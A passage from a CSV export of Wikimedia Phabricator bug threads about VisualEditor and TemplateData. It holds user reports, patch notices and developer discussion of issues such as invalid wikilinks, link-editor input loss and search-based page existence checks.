+I'm not going to wontfix until other's chime in. Can anyone really make a case for why this is a good direction?",,,1400187131,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-xxykpaxkkgrcn363ntny,task_subcomment,,True,c1,3,False,,,45,,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+254071,"VisualEditor: Offer ""cancel"" option in save dialog to escape VisualEditor","Change 127004 had a related patch set uploaded by Alex Monk:
+Add cancel & discard changes button to save dialog
+
+https://gerrit.wikimedia.org/r/127004",,,1397752290,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-xxykpaxkkgrcn363ntny,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254065,"VisualEditor: Offer ""cancel"" option in save dialog to escape VisualEditor",The user is asking to escape VE entirely.,,,1373474404,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-xxykpaxkkgrcn363ntny,task_subcomment,,True,c1,3,False,,,1,,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+254060,"VisualEditor: Offer ""cancel"" option in save dialog to escape VisualEditor","Would this be to escape from VisualEditor entirely (i.e., go back to view mode) or just to get out of the save dialog and back to the editor?",,,1373474231,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xxykpaxkkgrcn363ntny,task_subcomment,,True,c1,3,True,,,1,,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1
+53090,[[./Foo]] is not valid wikitext for links and shouldn't be rendered as one,"Links in the form [[./Bla]] are invalid markup, but are rendered as correct links in VisualEditor. There may be other types of invalid formats that are similarly accepted.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=33094",Medium,50.0,1373422620,1397770003.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-l4k7rc3z5agm24u46fhj,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+252638,[[./Foo]] is not valid wikitext for links and shouldn't be rendered as one,"Change 124009 merged by jenkins-bot:
+(Bug 51090): Follow-up to 4dce7f620: handle transclusions + html2wt mode
+
+https://gerrit.wikimedia.org/r/124009",,,1397109465,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l4k7rc3z5agm24u46fhj,task_subcomment,,True,c1,3,False,,,40,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+252628,[[./Foo]] is not valid wikitext for links and shouldn't be rendered as one,"Change 121658 merged by jenkins-bot:
+Bug 51090: Render invalid wikilinks as plain text
+
+https://gerrit.wikimedia.org/r/121658",,,1397109230,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l4k7rc3z5agm24u46fhj,task_subcomment,,True,c1,3,False,,,40,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+252620,[[./Foo]] is not valid wikitext for links and shouldn't be rendered as one,"Change 124009 had a related patch set uploaded by Subramanya Sastry:
+(Bug 51090): Follow-up to 4dce7f620: handles more scenarios
+
+https://gerrit.wikimedia.org/r/124009",,,1396645916,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l4k7rc3z5agm24u46fhj,task_subcomment,,True,c1,3,False,,,39,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+252613,[[./Foo]] is not valid wikitext for links and shouldn't be rendered as one,"This section details the invalid cases to handle:
+
+http://en.wikipedia.org/wiki/Wikipedia:Page_name#Technical_restrictions_and_limitations
+
+The best place to handle this is in onWikiLink in ext.core.LinkHandler.js.",,,1395952117,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-l4k7rc3z5agm24u46fhj,task_subcomment,,True,c1,3,True,,,38,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0
+252607,[[./Foo]] is not valid wikitext for links and shouldn't be rendered as one,"This needs to be checked more carefully after template expansion. Test case this will need to handle as well:
+
+[[{{echo|./Bla}}]]",,,1395951625,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-l4k7rc3z5agm24u46fhj,task_subcomment,,True,c1,3,True,,,38,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1
+252599,[[./Foo]] is not valid wikitext for links and shouldn't be rendered as one,"Confirmed, see http://en.wikipedia.beta.wmflabs.org/w/index.php?title=User:Jdforrester_(WMF)/Bug_51090 vs. http://en.wikipedia.beta.wmflabs.org/w/index.php?title=User:Jdforrester_(WMF)/Bug_51090&veaction=edit",,,1394483874,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l4k7rc3z5agm24u46fhj,task_subcomment,,True,c1,3,True,,,36,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+252593,[[./Foo]] is not valid wikitext for links and shouldn't be rendered as one,"You can't now enter these links in VE (bug 33094) but when they appear in the page they are still rendered as valid links in VE. For example [[./Bla]] displays the same as [[Bla]] in the source would and when right clicked, it opens that page.",,,1377447763,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-l4k7rc3z5agm24u46fhj,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+53065,VisualEditor: Link editor requires ENTER for input,"On any page, click Link icon
+
+Enter text in text field
+
+Click the ""<"" symbol
+
+Check the diff or save the page.  
+
+The link is created but the text entered is not preserved.  
+
+Suggest either preserving the contents of the text field upon the user clicking ""<"" or (less nice) disabling clicking ""<"" until the user has hit ENTER
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1373398440,1375304913.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_description,resolved,True,c1,3,False,False,True,1,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0
+251259,VisualEditor: Link editor requires ENTER for input,*** Bug 51177 has been marked as a duplicate of this bug. ***,,,1377834865,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+251254,VisualEditor: Link editor requires ENTER for input,This is now merged and will be deployed later.,,,1375304913,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+251247,VisualEditor: Link editor requires ENTER for input,"Change 76839 merged by jenkins-bot:
+Link inspector bug fixes
+
+https://gerrit.wikimedia.org/r/76839",,,1375304088,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251241,VisualEditor: Link editor requires ENTER for input,"Change 76839 had a related patch set uploaded by Trevor Parscal:
+The greatest commit in the history of the world*
+
+https://gerrit.wikimedia.org/r/76839",,,1375222014,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0
+251236,VisualEditor: Link editor requires ENTER for input,"OK, my apologies.  I can reproduce with those steps.
+
+Bug 48789 looks more like a UI design 'enhancement', whereas this bug is a simple bugfix for the current design.",,,1374530988,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,0,1,0,0
+251230,VisualEditor: Link editor requires ENTER for input,Is this the same thing as bug 48789?,,,1374519470,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+251222,VisualEditor: Link editor requires ENTER for input,"
+It is reproducible, let me show an example: 
+
+Assume that the first word on a page to be edited is ""ThisIsALinkToGoogle"" (no quotes) 
+
+Open the page to be edited and without doing anything else to the page, click the Link icon.  The Link dialog shows ThisIsALinkToGoogle highlighted and entered automatically in the text field input. 
+
+In the input field, replace ThisIsALinkToGoogle by typing ""http://www.google.com""
+
+When you finish typing, just click the left-arrow icon to close the Link dialog and (ostensibly) save what you have typed into the text field. 
+
+Do the Save page/Review your changes dance. 
+
+In the diff and in the saved page you will see 	
+[[ThisIsALinkToGoogle]] which is not helpful.  
+
+What I would expect to see is your typing preserved in a link like [http://www.google.com ThisIsALinkToGoogle]",,,1373905446,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_subcomment,,True,c1,3,False,,,2,,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,1,1,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+251215,VisualEditor: Link editor requires ENTER for input,"Is this still reproducible?  I tried it, and the diff was empty, but maybe I'm not following the instructions correctly.",,,1373757918,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0
+53056,"VisualEditor: Don't let the user enter multiple consecutive spaces (except in preformatted blocks), because that's not how HTML works","Thread is at https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=563553593#Consecutive_spaces - I can't explain it any better than the user has :).
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1373394900,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-4phtoxaof6zm4vyraue4,task_description,open,True,c1,3,False,False,,1,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,0
+250484,"VisualEditor: Don't let the user enter multiple consecutive spaces (except in preformatted blocks), because that's not how HTML works",This is going to be a pain to get the user interaction pattern right.,,,1402590995,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4phtoxaof6zm4vyraue4,task_subcomment,,True,c1,3,True,,,49,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+250476,"VisualEditor: Don't let the user enter multiple consecutive spaces (except in preformatted blocks), because that's not how HTML works","This was reported as an enhancement, but because it causes content (i.e. consecutive spaces) to display and behave differently in the edit window than in the view window, I think it is more appropriate to regard it as a bug.  Accordingly, I am upgrading this from ""enhancement"" to ""minor"".",,,1373428513,,PHID-USER-fuj45iylbizjg3yhehjt,False,,,PHID-TASK-4phtoxaof6zm4vyraue4,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,1,1,0,1
+53049,"TemplateData: Provide property ""example"" for template parameters","From
+https://www.mediawiki.org/wiki/Thread:VisualEditor/Feedback/About_TemplateData
+
+'(...) would it be possible to add new parameter ""example"" (where is example text what should be added to the parameter) in addition ""label"", ""description"", ""type"" and ""required""?'
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1373390040,1427404340.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-dhlp7wsucyat5r5hizgn,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0
+450809,"TemplateData: Provide property ""example"" for template parameters","Change 207123 merged by jenkins-bot:
+Add example property to HTML rendering
+
+[[https://gerrit.wikimedia.org/r/207123]]",,,1430268574,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,False,,,95,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+450353,"TemplateData: Provide property ""example"" for template parameters","Change 207123 had a related patch set uploaded (by Krinkle):
+Add example property to HTML rendering
+
+[[https://gerrit.wikimedia.org/r/207123]]
+",,,1430236097,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,False,,,95,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+443724,"TemplateData: Provide property ""example"" for template parameters",Checked in betalabs - 'Example (en)' was added to Template documentation editor.,,,1429042468,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,True,,,93,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+441962,"TemplateData: Provide property ""example"" for template parameters","Change 194386 merged by jenkins-bot:
+Add an example property to parameters
+
+[[https://gerrit.wikimedia.org/r/194386]]",,,1428684541,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,False,,,92,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+428516,"TemplateData: Provide property ""example"" for template parameters","The feature support in MWParameterPage is a bit presumptuous as the exact definition and property name are still being reviewed upstream in TemplateData.
+
+Anyway, this feature seems useful, but I'd like to be more explicit about at least one use case before we land it. The talk thread that requests it didn't seem to note anything about the existing properties `description`, `default`  and `autofill` which currently cover the use case of showing what a field is for and what kind of value it should have.
+
+I take it it will be used as placeholder in a user interface. However in VisualEditor the `default` is currently also displayed in the `placeholder` attribute. And the (already merged) conditional implementation of that does indeed ignore the `example` value if there is a `default`. And it seems there is no difference communicated to the user visually to distinguish example from default.
+
+If the user won't be able to tell the difference, can authors?
+
+I feel like the feature would be useful, but it is imho not sufficiently clear in its specification, implementation and current use in VisualEditor to offset it from the other existing features. And I imagine this will lead to confusion or incorrect usage by authors and users.",,,1426695980,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,True,,,89,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,0
+423419,"TemplateData: Provide property ""example"" for template parameters","Change 194416 merged by jenkins-bot:
+MWParameterPage: Show the field's example if it exists
+
+[[https://gerrit.wikimedia.org/r/194416]]",,,1425936869,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,False,,,88,,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+421136,"TemplateData: Provide property ""example"" for template parameters","Change 194416 had a related patch set uploaded (by Mooeypoo):
+Show the field's example if it exists
+
+[[https://gerrit.wikimedia.org/r/194416]]
+",,,1425512054,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,False,,,87,,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+420993,"TemplateData: Provide property ""example"" for template parameters","Change 194386 had a related patch set uploaded (by Mooeypoo):
+Add an example property to parameters
+
+[[https://gerrit.wikimedia.org/r/194386]]
+",,,1425501224,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,False,,,87,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+250162,"TemplateData: Provide property ""example"" for template parameters",Any progress?,,,1393353167,,PHID-USER-6majuboi566q3ozbh27r,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,False,,,34,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+53013,VisualEditor: OpenSearch results aren't perfect for checking for page existence,"Unpopular pages with short titles, e.g. [[Sop]], [[Topo]], do not appear in the top 10 opensearch suggestions, so VE thinks the pages don't exist. However, they definitely do exist.
+
+This, along with bug 50898, suggests that the VE team might need to implement its own wrapper web API for link suggestions.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54361",Medium,50.0,1373356200,1412977342.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-hqedrd262jmefrbeu2zs,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+248182,VisualEditor: OpenSearch results aren't perfect for checking for page existence,"FIXED by dint of bug 70958 being fixed. Thanks, Timo!",,,1412977342,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hqedrd262jmefrbeu2zs,task_subcomment,,True,c1,3,True,,,66,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+248179,VisualEditor: OpenSearch results aren't perfect for checking for page existence,*** Bug 54361 has been marked as a duplicate of this bug. ***,,,1410985568,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hqedrd262jmefrbeu2zs,task_subcomment,,True,c1,3,True,,,63,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+248175,VisualEditor: OpenSearch results aren't perfect for checking for page existence,"Action item: When using search in a way that the user input should be used as first hit if it exists[1], our code should always do an additional query for the literal input against the pageinfo API. At least until the upstream bug in MediaWiki search is fixed (do we have a report for that?).
+
+
+[1] e.g. mediawiki link input widget, and transclusion dialog template name input, but not media dialog probably.",,,1406658829,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hqedrd262jmefrbeu2zs,task_subcomment,,True,c1,3,True,,,56,,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+248171,VisualEditor: OpenSearch results aren't perfect for checking for page existence,"Right now MediaWiki search has a bug where one searches ""Foo"" and a page by that name exists, it might not be included in the search results (or at least not in the first 10). Or sometimes it's in there but on #3.
+
